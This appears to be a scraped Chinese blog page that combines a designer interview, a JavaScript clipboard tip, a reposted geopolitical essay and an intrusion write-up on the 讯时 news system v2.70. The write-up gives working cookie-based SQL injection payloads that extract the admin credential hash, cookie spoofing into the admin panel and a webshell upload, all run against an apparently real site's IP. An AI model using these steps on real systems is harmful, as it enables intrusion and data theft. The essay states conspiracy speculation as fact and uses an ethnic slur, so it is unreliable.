  我喜欢去一些设计门户网站(surfstation.lu, pixelsurgeon.com, designiskinky.com)转转,欣赏一些创意独到、干净整洁的站点。但我和普通的访客并无二致,无法为此投入过多。

  IE 独立版本的停止开发和以及 Netscape 的终结,对现代的网页制作技术是好还是坏?
  这要看当时的情况变化,我很难说。

  乐观的是 Mozilla/Opera/Safari 能迅速填补留下的巨大空间,无线装置的迅速兴起使得对标准的支持变得前所未有的重要。在6年以内,如果还只为 IE6 打算就会带来小小的麻烦。

  最悲观的莫过于微软根本就不喜欢Web,随着他们的重点转移,我敢说不管他们在这个领域如何打算都是为了专属利益。由于他们压倒性的市场份额,我们还不得不迁就它。乐观的观点告诉我,微软不可能赢得这个游戏。公众对Web方式是如此喜欢,不会坐视他们釜底抽薪的。

  最近乐观派似乎占了上风,但情况并不非常令人满意。

  [b]如果按 1 (=最低) 到 10 (=最高) 来排名,你能排在第几位?[/b]
  我妻子大概会给我第12名。我好久没看过 Star Trek 了,我想不至于太差吧。其实不管怎么排名都是相对的,与本文的读者相比,我大概能排到第6位,但如果和大街上随便找来的人相比,肯定能排到第9。

  [b]Web 标准(CSS, XHTML 等等)是不是抬高了在 Web 上发布东西的门槛?[/b]
好问题。这个问题在我的个人邮件中也被问到过。我的回答是否定的,不过我很愿意参加这个问题的讨论。

  新手们不一定都得去学习 XHTML 和 CSS。1996年的HTML对他们一样管用,简单的文件包含的标记很少,仅此而已。抽象地谈论“将内容和呈现相分离”对他们来说意义不大。大多数新手压根儿就没写过一个标记,我们也不应对他们有过高的奢望。

  但是 Web 还是在向 XML 和上面提到的这种抽象层次发展,当然就提高了门槛。CSS 对Web的未来非常重要,对电脑知识知之甚少的家人在考虑层次和方块时所想到情景和 CSS 的原理是一样的。对,就是这样。

  所以,如果 Web 是为人人所用的,要是必须读懂大堆的书本和教材才能制作网页的话,一般的新手怎么可能在网上发布他们的家庭影集?

  许多年前就有一种服务来填补这个空缺了。你根本不用为发布网页发愁,你只须掌握 FTP 和目录结构就够了。这曾经是一个很大的障碍,大多新手们并不觉得很难。一些网站如 Fotki 和 Kodak 的 图片乐园提供了照片存储服务。目前锋头正劲的是 weblog,BlogSpot、TypePad 和 AOL Journals 的一条龙服务也是大势所趋。

  新手们无须知道我们将要改变的是作为 Web 根基的底层代码。尽管技术对他们而言并不重要,但当我看到 TypePad 从一开始就做到遵从标准时感到非常欣喜,我期待有更多的后来者效仿。

  [b]你是个设计师,我却不是。我完全支持 www.bancomicsans.com 要从地球上禁止使用 comic sans 字体的目标。你呢?[/b]
  啊,当然。一开始我以为是对字体抱有偏见的人开的玩笑,不过后来我注意到此人有一定道理。这种字体无处不在,我想把这都归罪于 Vincent Connare (Comic Sans MS 的设计者)是不公正的。不过我想这给各位设计师留下了一个教训:你的作品就代表你自己,不管你是否情愿。

  [b]假如你有一天成了全球的统治者,你还想禁止什么?[/b]
  越南咖啡和四巨头:雀巢、Sara Lee、P&G 和 卡夫。

  噢对了,我还要扔掉我的肥皂盒。

  [b]你的下一步打算?[/b]
  我还在探索之中。现在我正在为参与编写的“Cascading Style Sheets: Separating Content from Presentation”的出版作最后的润色。过不了多久也许会出一两本书,但目前还没有什么打算。

  此外,我的事业才刚刚起步。今年的年景不错,但这并不妨碍为前途做些打算。我想到温哥华的一个公司工作,他们完全理解 Web 的真义,而且已经做得不错了。这件事,我很愿意听听读者们的建议。

  [b]今天你看到的最美的东西是什么?[/b]
  我的新娘刚醒来时的笑容。

  [b]瞧这水杯:它是半满的,还是半空的?[/b]
  我想要个大杯子。

  Thanks Dave!

[JS]Javascript函数调用问题

  前段时间帮朋友做好的一个站,用的是框架,所以点击其它页面后,在地址栏里不会显示地址,而他们要将其中的网页发给客户看,因此今天要我把网站再改改,在地址栏能看到地址。我想如果再换结构,那页面好多,又是一项庞大的工程,于是就想增加一个复制网址的功能,让他们便于操作,能直接点击复制框架页面中的网址。然后我再在原来的js里加上判断自动将打开的页面转到首页并将嵌入页面加载为欲打开的页面。
  今天晚上就在写这样一个复制网址到剪贴板的功能,刚开始先用alert来调试数据,一切正常:
[code]Copy Url[/code]
  接下来就是写成JS函数来将数据复制到剪贴板:
[code]function copyToClipBoard()
{
var clipBoardContent=parent.mainFrame.document.title;
clipBoardContent += '
' + parent.mainFrame.location.href;
window.clipboardData.setData("Text",clipBoardContent);
alert("成功复制到剪贴板!

内容如下:
"+clipBoardContent);
}
[/code]
  写好后通过标签的链接来调用:
[code]
Copy Url[/code]
  发现调用时老是不成功,提示说缺少对象。起初以为自己写错哪个名称了,于是又上网找到一个视频网站,查看了其中的复制到剪贴板的功能的写法,发现没什么异常的,不过他是通过图片的onClick事件来调用函数的。我突然想到,我也用onClick试试?然后在标签的onClick事件里调用,果真成功了。
  为什么用链接来调用自定义函数会不成功呢?我仔细看了下页面,突然发现,我用的是框架结构,链接都是在一个嵌入的Iframe里打开的,所以为了省事,我设了个Base属性:,难道是它惹的祸?那就去了试试,去了之后,再用链接调用,也成功了!

近年来罕见的国际分析强文

昨天,同事推荐一文章给我看,名为:
近年来罕见的国际分析强文,读后可拨云见日、清新心志(转载)
我看了一下,感觉写得还不错,收藏下。摘录部分内容如下:

--------------------------------------
  伊朗军队实力如何, 是非常非常次要的. 这个世界, 就是美俄中法四国角力的场所(英国现在更没落了,成了美国的跟屁虫, 大家都不用看它的脸色了, 英国核潜艇上的洲际核导弹居然是美国的, 五国中唯一没有自主核潜艇反击能力的国家).
  
  美国当年入侵越南, 北越军队弱成什么样子,有什么武器, 靠着中国和俄国做靠山, 美国一样刹羽而归.
  
  苏联入侵阿富汗, 阿富汗有什么军队? 有什么武器? 被苏联一打就垮, 但是美国CIA培训出拉登同志还赶紧研制出毒刺导弹几乎免费送给阿富汗游击队. 苏军还不是完蛋.
  
  美军入侵伊拉克, 可是吸取了教训的(分两步足足走了十多年), 首先, 联合国通过了制裁决议, 任何国家都不得对伊拉克输出武器. 当然, 这是光明处的法律. 暗处就是俄国刚被搞垮还没缓过气来, 不敢从正面得罪美国. 中国的改革开放,正处在最艰难的攻坚阶段的最后时刻(大规模的国企破产和职工下岗, 这非常容易导致动乱), 急需对美国的贸易增长来渡过改革的瓶颈. 所以中俄两国都没有大动作. 美国CIA也没闲着, 满世界的监视任何中俄的武器流入伊拉克(这才是CIA日常工作量最大的地方), 这才保证了美军没有象越南那么丢脸.
  
  现在轮到伊朗了, 这步棋, 美国策划了三十年了. 不干倒伊朗是不可能的, 唯一担心的只是中俄的武器在战前或者战后流入伊朗的问题. 那才是美军的噩梦. 现在伊拉克那几个路边炸弹, 小儿科了. 中俄的武器才是致命的.
  
  美国为了干倒伊朗, 已经策划30年了. 沙达姆被捕后, 曾说过要讲出"惊天的秘密", 可是这个秘密一直没有说出来. 怪吧. 就我个人的感觉, 沙达姆当年入侵科威特, 事先是通知了美国的, 得到了美国的默许才出兵的, 结果没想到其实是中了美国人的圈套, 自己成了送入狼口的羊! 所以沙达姆才会那么气急败坏. 沙达姆本来就是CIA扶持起来的,和伊朗打架用的(8年两伊战争). 入侵科威特前, 不可能不向美国这个世界警察"请示汇报工作"—不搞清楚美国的态度,谁敢动武? 美国CIA事先不可能不知道(沙达姆全军将领都被策反, 你们相信CIA事先不知道沙达姆要入侵科威特?). 我甚至强烈的怀疑, 根本就是CIA鼓动沙达姆入侵科威特, 以便美国有借口实现军事占领伊拉克, 然后干倒伊朗的这个国家战略. (卡扎菲就是看清楚了这个棋局,才主动投降的, 他和沙达姆一样, 都是CIA扶上台后反美的), 沙达姆说要说出惊天秘密又没有说, 我估计就是他有证据证明美国默认他入侵科威特, 没有说的原因嘛, 萨达姆最终是否会被处死, 就是答案了.
  
  美国从来没有担心过伊朗的军力, 中俄也从来没有寄希望过伊朗的军力. 五大国都清楚, 现在战争已经延伸到太空, 根本你还没有看见敌人, 子弹就已经到了. 除了美俄中和欧盟, 其它国家都不是他们的对手(要不倭鬼怎么脱光了衣服死命往美国怀里钻呀—最新的美日军事同盟条约). 美国的军事力量在伊朗能否成功, 只与中俄有关, 与伊朗无关.
  
  伊朗只是棋子, 这个世界在较量的, 就是美国(+欧盟) <----- >中+俄. 这个角力是全方位的, 从经济文化政治到军事. 美国要取得更高的战略地位对付中俄, 中俄要打乱美国的战略步骤(美攻,中俄守). 除了欧盟自己都搞不清自己的目标是什么外,美俄中的目标是一致的:想尽办法削弱敌人的实力, 直至掐死敌人. 谁也不会让对方舒服!
  
  一切政治都是可以谈判和交易的, 就看以实力为后盾的价钱是多少. 什么gou pi "民主自由人权", 都是幌子而已. 自越战后, 美国确实是好好钻研过孙子兵法的, 不像以前那么鲁莽了.
  
  注意一下国际事件的时间段.
  
  1989年, 中国发生的大事, 大家都知道的.
  
  "1990 年 8 月 2 日凌晨 1 时(科威特时间),在空军、海军、两栖作战部队和特种作战部队的密切支援和配合下,伊拉克共和国卫队的三个师越过科威特边境,向科威特发起了突然进攻。"
  
  "1990年苏联各加盟共和国先后宣布独立。为了确定究竟是否保留联盟,苏联在1991年举行了一次全苏公投以决定联盟的命运。
  
  "1991年1月16日,布什总统签署了给美军中央总部司令施瓦茨科普夫的国家安全指令文件,命令美军向伊拉克开战。"
  
  时间的巧合, 绝对不是偶然的, 大国伐谋, 可不能象孔明那样开坛祭东风. 如果从星球大战计划开始算起, 美国谋划俄国和中国, 很有一段时间了. 其结果, 成功搞定了苏联, 但在中国刹羽而归. 趁着俄国内乱, 无力骚扰美国(全世界都知道,冷战期间所有的战争都是美苏两国在角力), 美国谋划很久的中东计划, 开始正式实施了.
  
  中东石油富区, 沙特是皇权制度(不是君主立宪制哦), 为什么那么热衷民主自由的美国, 对沙特那么友好? 不要求沙特皇室"民主改革"? 因为这是一条锁链, 沙特皇室如果不听美国话, 不满足美国的利益, 美国就将在沙特发动"民主", 让沙特国王这个210亿资产的全球首富穷得一分钱都没有. 大家也看到了, 沙特皇室对美国那是脱光了衣服表忠诚的.
  
  美国原来扶持萨达姆的目的就是为了搞垮伊朗, 8年两伊战争结束了, 萨达姆位置坐稳了, 开始闹情绪了. 伊朗开始得到休息和发展了. 你作为美国决策层(注意,美国总统只是决策层的代表), 你会休息?
  
  中东富油国只剩下伊朗专门和美国对着干了, 叙利亚油不算富,面积小,蹦达不起来,而且,美国也知道,时间不等人, 中俄恢复得很快, 如果现在下手对叙利亚, 以后就搞不定伊朗了.
  
  大国伐谋, 绝对不会一时兴起而为之的. "有条件马上动手, 没有条件, 创造条件也要动手".
  
  呵~~~, 我们该干的事情, 已经干成了呀: "进入伊朗问题, 和其它四国一起坐庄". 这就是中国最划算的国家利益.
  
  伊朗问题刚开始的时候, 中国连个边都沾不到, 美国和伊朗对着干, 欧盟和俄国忙乎来忙乎去, 那有中国的事呀? 可是现在, 在纽约召开的伊朗问题联合国会议, 中国外交部长是被正式邀请作为庄家去谈一谈"中国的看法"的哦.
  
  以前曾有人提出邀请中国(美国要以色列参加)进入伊朗问题"X方会谈", 中国吭都没吭一声. 这种"X方会谈", 表面上中国参加了, 却不是庄家, 仅仅等同于俄国在朝核六方会谈中的地位, 和以色列并列而已, 连法德都不如. 我们中国, 要么不参加, 参加就得坐庄, 我们只作棋手, 不作棋子.
  
  忽惊涛确实是中华民族高人, 这个伊朗问题搞来搞去, 大家发现没有, 以色列依然没有份, 中国却进入其中, 而且是坐庄! 忽惊涛手段了得呀! 忽然惊涛骇浪就把美国打得晕头转向, 本来行贿俄国就行了, 现在还得行贿中国(中国胃口更大).
  
  只要我们是庄家, 伊朗问题就是一个筹码, 中国平白无故多了一个筹码, 最感晦气的是美国. 我们多了一个筹码, 那么WW问题, 东海问题, 东南亚问题,中亚西亚问题, 一切关乎中国国家利益的问题, 我们只赚不赔! 所以, 各位放宽心, 中央军委爱国不比你我低, 智力更比你我强, 有这两点, 你我就放心工作和生活, 做好自己的工作就是了.
  
  中国的下一个目标(筹码), 就是"以巴和谈"了. 不做庄家, 中国是不会掺和进去的(几年前中国试探过, 不过以色列非常不感冒). 以前, 中国只能在自己周边国家的国际问题上坐庄, 现在, 是中国第一次在远方坐庄. 你我担心什么? 庄家从来是只赚不赔的. 没见陈欠扁这次出访巴拉圭好惨吗? 不但被要求从冰天雪地的美国飞地阿拉斯加过境, 而且黎巴嫩居然在它的飞机已经在天上飞的时候, 以"安全"为由, 拒绝它降落过境, 跟逃亡的待遇一样.
  
  庄家从来是只赚不赔的, 中国现在最需要的是和平发展经济的国际环境, 因为人均GDP1000到3000美元之间, 是发展的瓶颈阶段(国内吵翻天的医疗,教育,住房,就是这个阶段的典型矛盾), 南美洲各国就是在这个阶段完蛋的, 至今爬不起来. 所以, 中国全神贯注发展经济解决国内矛盾的时候(温总天天在忙呀), 中国的拳头握得紧紧的, 但是没打出去之前, 群狼谁也不敢先冲上来送命, 美国日本台湾印度南海诸国谁都担心这拳打到自己身上. 引而不发才是最有效的武力威慑! 在这个中华民族发展的关键阶段, 中国要么和平发展不谋战, 要么一战必须定乾坤. 我们要清楚知道自己的实力, 我们还不到随便喊打喊杀的程度。

伊朗核问题开始的时候, 本来根本没有中国的事. 而且中国在伊朗的利益也不大, 仅仅是进口一些伊朗石油而已, 并没有石油开采权. 伊朗对中国也是不理不睬.
而现在, 中国资本大举进入伊朗, 拥有伊朗石油的开采权, 这根本就是"火中取栗"嘛, 如果不是艺高人胆大, 有底气, 谁敢在这个节骨眼上偏偏往伊朗做大规模石油投资?! ×日×本敢吗? 法国德国英国敢吗? 印度敢吗? 中国原本就和伊朗问题无关, 现在突然大举投资而变成了利益相关者, 入庄做局, 没有程咬金的三板斧, 你敢去拦路打劫?!
而jp在伊朗的开采权, 目前岌岌可危, 因为美国主子"很恼火". 可是jp"真的不想走", 因为宿敌中国一直在盯着 jp手中的开采权. 从jp手中把伊朗最肥的油田的开采权拿过来, 那中国可是赢双倍的(一消一涨就是双倍的变化). 这就要看jp和其主子讨价还价的结果如何了, dy岛军演的假新闻, 估计就是主仆间讨价还价的第一个结果.
  
  忽惊涛突然大力插手伊朗问题, 没有底气, 谁敢拦路抢劫美国?! 现在中国成功做了庄家. 如果没有一定的把握, 谁敢为了坐庄投入那么大的资本去赌博(目前都是帐面资本)?! 忽惊涛的胆气可以排在毛之后了. 而且忽惊涛这次出访美国, 除了一通含糊不清的允诺, 美国人什么也没有得到(纽约日报已经说了大家也应该看了). 其胆量确实非凡. 以忽惊涛谨慎认真的性格, 可以说, 中国的军事实力增长( 核武和常规军力), 一定是让人满意的.
对美国而言, 中国就是伊朗核问题中半路杀出的程咬金. 让美国的行贿代价, 突然大增数倍. 美国当然不会轻易放过中国, 所以突然间 中 @日 东 海 冲突加剧, 台 @独 来个终统, 钓@@鱼@@岛军演假新闻, 美印来个核协议, 美日新安保条约, 人民币升值"压力"又来, 贸易逆差又"大幅加剧", 南海渔民被枪杀, 国内出现反改革的强大声音. 我就不信, 世间万物是独立不相干的.
  
  这一切, 中国都预计着的(招招都被中国化解了), 要参加这场赌局坐庄, 没有一整套的应变方案, 那是傻瓜. 中国第一次出远门坐庄, 其胆量和实力, 俺甚感欣慰. 各位别忘了, 中哈管道通油了, 俄国管道开工了, 尼日利亚石油份额拿到了, 苏丹石油一直没有停过, 沙特的石油协议初定了. 伊朗的石油, 对中国而言是非要不可的吗? 那是一个大棋盘.
  从伊朗对付美国的方式来比较中国对付美国的方法, 不能不感叹华夏民族五千年文明智慧超群啊!
  
  伊朗一味的硬对抗. 虽然表面上看, 得分不少, 但结果换来更严重的危机. 西方国家当权者想动武, 在所谓的民主社会, 必须首先舆论鼓动起民意支持. 而鼓动民意支持就需要反面题材, 而内贾德就不自觉的做了反面题材, 帮助美国以色列当权者鼓动民意支持对伊朗动武. "民调显示绝大多数人都强烈支持轰炸伊朗"就是当权者最想要的东西. 伊拉克战争前, 有同样的民意鼓动过程, 萨达姆的硬话也和内贾德一样, 结果"民意"也是气鼓鼓的, 战争就顺利发动了. 虽然, 现在这些"民意"说"伊拉克战争我们被骗了", 但是战争已经打了, 覆水难收了. 被骗又如何? "民意"其实是个非常愚蠢的东西, 次次上当次次新鲜. 现在"民意"又成功鼓动出来轰炸伊朗了. "民意"从来都是被利用的, 还觉得自己"民主参与"了.
  
  反观中国的策略, 深得民族文化精髓: 打入敌人内部才是对敌人最致命的. 美国以前打压中国何其狠呀, 中国忍辱负重, 顺着你, 不和你明着对抗, 从来都是满脸委屈的口头辩解, 而行动上, 毛和美国展开破冰之行, 偏要和美国关系"正常化", 大力吸引美国资本, 欢迎"美国人民"来中国投资, 加大对美国的贸易力度, 搞得好像中国成了美国的"朋友"似的. 搞得美国搞不清中国到底是敌是友, 搞得美国舆论宣传时, 除了人权问题找不到反面题材, 逼得美国媒体空喊"中国威胁论", 但是"民意"和外国政府, 却怎么也没有看出来"威胁在哪里"? 没有证据啊, 中美两国贸易那么紧密, 大家不是挺亲密的吗? 忽惊涛访美, 还拥抱美国工人呢, 布什见忽惊涛, 一脸堆笑, 那象敌对国家啊.
  
  难怪忽惊涛送给布什一本<孙子兵法>!
  
  我们很多网友, 经常责怪中央政府软弱, 错怪他们了. 那是中华五千年文明的政治智慧. 是清楚的认识到中国还只是一个弱的大国而已, 面对强权, 不能硬拚, 要软磨, 这就是避其锋芒, 击其软肋.
  六国伊朗问题刚刚在纽约流产了. "六国外长会议未就伊朗问题取得明显进展". 意料之中, 中国拦路打劫, 不劫够本钱, 也不会去掺和伊朗问题.
  
  中国横插一杠, 美国佬当然不会放过中国. 看吧, "东盟宣布将在2020年前建立安全共同体", 傻瓜都知道, 这个"安共体", 就是针对中国和上合, 特别是南海领土. 一个中国后院—东南亚的军事同盟, 对中国威胁是最大的.
  
  "这是东盟成立近40年来第一次举行国防部长会议。除缅甸外,东盟其他9国的国防部长或副部长出席了本次会议。以提高东盟各国打击跨国犯罪和恐怖主义,并加强海事安全和灾难救援的能力。" 东盟同志这个时候来搞这个会议, 美国同志的启发教育一定没有少忙. 晚些时候, 大家就可以看到, 拉美和中国又要幽会一次了. 来而不往非礼也. 不过, 让拉美成立"安全共同体""反恐", 难度大得多.
  
  其实, 中国就算不打劫伊朗问题, 美国佬也不会让中国舒服. 现在中国赚了个大本钱, 美国满世界还真找不到和这个伊朗问题分量相当又可以恶心中国的问题. 中国一个筹码换好几个. 值!
东盟的安全共同体, 夭折的可能性大于80%. 其实东盟中, 大家都知道, 谁也不服谁, 可以说, 如果这次会议是东盟成员国牵头的, 你我就是想破脑袋, 也想不出谁有这能力. 印尼?

讯时2.70漏洞-对讯时新闻发布系统的艰难突破

三顾讯时–对讯时新闻发布系统的艰难突破

月无痕&amp;&amp;花非花

&nbsp;&nbsp;一.接触起因

&nbsp;&nbsp;这几天事情较多,一直都没去老大的论坛转!今天好友joli突然Q我说论坛上有人发了个脚本的问题,叫我也一起看一下,于是我就跑过去看了下(你家离论坛很近?竟然可以跑着过去!),也就有了下面这篇文章(测试版本为讯时新闻发布系统v2.70版&nbsp;)。

&nbsp;&nbsp;二.漏洞初探

&nbsp;&nbsp;打算先看有没有经典的OR漏洞,虽然已经出来很久的漏洞了,但是很多程序仍然会存在这样的漏洞,admin_login.asp存在如下代码:
if&nbsp;request(&quot;user&quot;)=&quot;&quot;&nbsp;or&nbsp;request(&quot;pass&quot;)=&quot;&quot;then&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;conn.close
&nbsp;&nbsp;set&nbsp;conn=nothing
&nbsp;&nbsp;Response.Redirect&nbsp;&quot;login.asp&nbsp;id=0&quot;
&nbsp;&nbsp;&rsquo;如果user或者pass等于空就掉转到login.asp&nbsp;id=0这个页面上
&nbsp;&nbsp;else&nbsp;'注释下如果上面条件不成立就执行下面语句

&nbsp;&nbsp;user=LCase(chkhtm(request(&quot;user&quot;)))'注释下这里先用chkhtm函数过滤然后用lcase在过滤
&nbsp;&nbsp;pass=md5(chkhtm(trim(request(&quot;pass&quot;))))
&nbsp;&nbsp;&rsquo;然后带入sql语句查询
&nbsp;&nbsp;sql&nbsp;=&nbsp;&quot;select&nbsp;*&nbsp;from&nbsp;admin&nbsp;where&nbsp;[user]='&quot;&amp;user&amp;&quot;'&nbsp;and&nbsp;[pass]='&quot;&amp;pass&amp;&quot;'&quot;
&nbsp;&nbsp;Set&nbsp;rs&nbsp;=&nbsp;Server.CreateObject(&quot;ADODB.RecordSet&quot;)
&nbsp;&nbsp;rs.Open&nbsp;sql,conn,1,1

好!上面关键的地方我都进行了一下注释,最关键的地方就是chkhtm函数,他是做什么的?我在titleb.asp中找到了他的定义!
function&nbsp;chkhtm(stra)
&nbsp;&nbsp;&nbsp;stra=replace(stra,&quot;&lt;&quot;,&quot;&lt;&quot;)
&nbsp;&nbsp;&nbsp;stra=replace(stra,&quot;&gt;&quot;,&quot;&gt;&quot;)
&nbsp;&nbsp;&nbsp;stra=replace(stra,&quot;'&quot;,&quot;&quot;)
&nbsp;&nbsp;&nbsp;stra=replace(stra,&quot;(&quot;,&quot;(&quot;)
&nbsp;&nbsp;&nbsp;stra=replace(stra,&quot;)&quot;,&quot;)&quot;)
&nbsp;&nbsp;&nbsp;stra=replace(stra,&quot;;&quot;,&quot;;&quot;)
&nbsp;&nbsp;&nbsp;stra=replace(stra,&quot;,&quot;,&quot;,&quot;)
&nbsp;&nbsp;&nbsp;stra=replace(stra,&quot;%&quot;,&quot;%&quot;)
&nbsp;&nbsp;&nbsp;stra=replace(stra,&quot;+&quot;,&quot;+&quot;)
&nbsp;&nbsp;&nbsp;chkhtm=stra
end&nbsp;function

&nbsp;&nbsp;很明显的一个过滤函数,在函数的第四行,已经过滤掉了&ldquo;'&rdquo;号了,所以OR漏洞是没戏了,思路到这里就断了。

&nbsp;&nbsp;三.再探漏洞

&nbsp;&nbsp;&nbsp;在查看代码的时候曾经被某人误导,一直抓不到点子上去了,这时候花非花刚好来上网,我把程序传给他,他把思路告诉我,然后他让我看了admin_chk.asp文件,大概代码如下:

&nbsp;&nbsp;&nbsp;&lt;%

1.session(&quot;admin__user&quot;)=Request.Cookies(&quot;adminuser&quot;)
2.session(&quot;admin__pass&quot;)=Request.Cookies(&quot;adminpass&quot;)
3.session(&quot;dJ&quot;)=Request.Cookies(&quot;admindj&quot;)

4.adminuser=Request.Cookies(&quot;adminuser&quot;)
5.adminpass=Request.Cookies(&quot;adminpass&quot;)
6.admindj=Request.Cookies(&quot;admindj&quot;)

7.if&nbsp;adminuser=&quot;&quot;&nbsp;or&nbsp;adminpass=&quot;&quot;&nbsp;then
8.&nbsp;&nbsp;Response.Redirect&nbsp;&quot;login.asp&nbsp;id=8&quot;
9.end&nbsp;if

…省略部分代码…

10.user=trim(session(&quot;admin__user&quot;))
11.pass=session(&quot;admin__pass&quot;)

12.sql&nbsp;=&nbsp;&quot;select&nbsp;*&nbsp;from&nbsp;admin&nbsp;where&nbsp;[user]='&quot;&amp;adminuser&amp;&quot;'&nbsp;and&nbsp;[pass]='&quot;&amp;adminpass&amp;&quot;'&quot;
13.Set&nbsp;rs&nbsp;=&nbsp;Server.CreateObject(&quot;ADODB.RecordSet&quot;)
14.rs.Open&nbsp;sql,conn,1,1
15.if&nbsp;rs.recordcount=0&nbsp;then
16.&nbsp;&nbsp;Response.Redirect&nbsp;&quot;login.asp&nbsp;id=8&quot;
17.end&nbsp;if
…再省略…
%&gt;

&nbsp;&nbsp;&nbsp;1,2,3是通过request.cookies方法从客户端获取cookie信息(KEY分别是adminuser,adminpass,admindj),并存入session中,分别对应:session(&quot;admin__user&quot;)、session(&quot;admin__pass&quot;)、session(&quot;dj&quot;)。然后在4,5,6分别把Request.Cookies(&quot;adminuser&quot;),Request.Cookies(&quot;adminpass&quot;),Request.Cookies(&quot;admindj&quot;)的值存入变量adminuser,adminpass,admindj中,如果变量adminuser,adminpass的值为空,就转到login.asp&nbsp;id=8页面,10,11是将session(&quot;admin__user&quot;)和session(&quot;admin__pass&quot;),存入变量user和pass中。12,13,14将变量adminuser和adminpass的值参与sql查询。将拿客户端的cookie信息进行sql查询,这样做的结果是造成欺骗漏洞,但是由于参与查询的cookie还包括密码,所以这种利用条件比较困难,必须在得到用户的密码(估计有人要骂我了,呵呵,能得到密码还COOKIE欺骗干嘛,不过这个密码是MD加密的,也就是可以省去破解这一步了(另外一个就是cookie注入了,貌似可以,但是我们进行测试之后都构造不出可行的攻击语句,有高手能搞定的话,请告知一下,先谢过了!)。思路再一次中断…

&nbsp;&nbsp;四.三顾讯时

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;正在一筹莫展的石斛,花花说找到了另外一个漏洞,漏洞文件在admin_news_view.asp,漏洞代码如下:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;newsid=trim(request(&quot;newsid&quot;))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sql&nbsp;=&nbsp;&quot;select&nbsp;*&nbsp;from&nbsp;news&nbsp;where&nbsp;id=&quot;&amp;newsid
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set&nbsp;rs&nbsp;=&nbsp;Server.CreateObject(&quot;ADODB.RecordSet&quot;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rs.Open&nbsp;sql,conn,1,1
&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;这个文件以admin开头,但是没有进行权限的判断等,用户可直接查看,而这里通过request获取从客户端传来的数据newsid的值,并用trim函数过滤之后存入变量newsid中。然后将此变量参与SQL查询。此过程,只用trim函数过滤了空格并没有做其他的限制,所以从这里可以看出来一个注入漏洞就产生了。&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;&nbsp;用order&nbsp;by函数判断参与SQL查询的字段为26个,提交&nbsp;http://222.90.4.20/news/admin_news_view.asp&nbsp;newsid=26%20and%201=2%20union%20select%20…,返回错误,如图1所示:

"按此在新窗口打开图片"

然后,我们在admin_conn.asp&nbsp;文件中发现如下代码:
&nbsp;&nbsp;&nbsp;sss=LCase(request.servervariables(&quot;QUERY_STRING&quot;))
&nbsp;&nbsp;&nbsp;if&nbsp;instr(sss,&quot;select&quot;)&lt;&gt;0&nbsp;or&nbsp;instr(sss,&quot;inster&quot;)&lt;&gt;0&nbsp;or&nbsp;instr(sss,&quot;delete&quot;)&lt;&gt;0&nbsp;or&nbsp;instr(sss,&quot;(&quot;)&lt;&gt;0&nbsp;or&nbsp;instr(sss,&quot;'or&quot;)&lt;&gt;0&nbsp;then
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;response.write&nbsp;&quot;&lt;BR&gt;&lt;BR&gt;&lt;center&gt;你的网址不合法&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;response.end
&nbsp;&nbsp;&nbsp;end&nbsp;if

&nbsp;&nbsp;&nbsp;过滤了request.querystring方法获取从客户端传来的数据,过滤的内容是select,inster,delete等。虽然做了这个限制,但是我们还是可以利用cookie进行注入,因为前面的漏洞代码里面用的是request而不是request.querystring,所以我们还有reuqest.cookie方法让服务端获取我们这里的数据。
&nbsp;&nbsp;&nbsp;&nbsp;先访问:http://222.90.4.20/news/admin_news_view.asp&nbsp;newsid=26,然后去掉此URL,再&nbsp;&nbsp;&nbsp;提交:javascript:alert(document.cookie=&quot;newsid=&quot;+escape(&quot;26&nbsp;and&nbsp;1=1&quot;))返回如图2所示:

"按此在新窗口打开图片"
然后在访问http://222.90.4.20/news/admin_news_view.asp,返回如图3:

"按此在新窗口打开图片"

说明我们提交的url已经有参与了sql查询,而且查询所得结果为真。再提交:
&nbsp;&nbsp;javascript:alert(document.cookie=&quot;newsid=&quot;+escape(&quot;26&nbsp;and&nbsp;(select&nbsp;asc(mid(user,1,1))&nbsp;from&nbsp;[admin]&nbsp;where&nbsp;id=1)=97&quot;))
&nbsp;&nbsp;&nbsp;返回如图4所示:

"按此在新窗口打开图片"

判断id=1的user(管理员)的第一个字符的ascii码值是否为97。相信大家以前看过花花的文章,大概的cookie注入也就这样了。下面是猜密码的。
&nbsp;&nbsp;javascript:alert(document.cookie=&quot;newsid=&quot;+escape(&quot;26&nbsp;and&nbsp;(select&nbsp;asc(mid(pass,1,1))&nbsp;from&nbsp;[admin]&nbsp;where&nbsp;id=1)=97&quot;))

&nbsp;&nbsp;通过一一猜解所得的用户名和密码的ASSCII分别是97&nbsp;100&nbsp;109&nbsp;105&nbsp;110,50&nbsp;49&nbsp;50&nbsp;51&nbsp;50&nbsp;102&nbsp;50&nbsp;57&nbsp;55&nbsp;97&nbsp;53&nbsp;55&nbsp;97&nbsp;53&nbsp;97&nbsp;55&nbsp;52&nbsp;51&nbsp;56&nbsp;57&nbsp;52&nbsp;97&nbsp;48&nbsp;101&nbsp;52&nbsp;97&nbsp;56&nbsp;48&nbsp;49&nbsp;102&nbsp;99&nbsp;51,转换后的结果分别是admin和21232f297a57a5a743894a0e4a801fc3。然后我们不必去破解密码,拿出老兵叔的cookie欺骗工具,在cookies栏里输入:admindj=1;&nbsp;adminpass=21232f297a57a5a743894a0e4a801fc3;&nbsp;adminuser=admin;&nbsp;(保持绿色小球处于按下状态)然后在address栏里输入:http://222.90.4.20/news/admin_index.asp,提交!这样我们就可以不经登陆直接进到后台了。如图5所示:

"按此在新窗口打开图片"

进到后台就是拿WEBSHELL了。打开网友投稿,如图6所示:

"按此在新窗口打开图片"

打开查看审查,然后传个.zip(需要是允许上传的类型)的马上去。如图7所示:
"按此在新窗口打开图片"
&nbsp;&nbsp;然后,查看编辑器的代码,如图8所示:
"按此在新窗口打开图片"
&nbsp;&nbsp;可以看到这样一行字:&lt;a&nbsp;href=&quot;/news/edit/uploadfile/2007213131454997.zip&quot;&nbsp;….&nbsp;
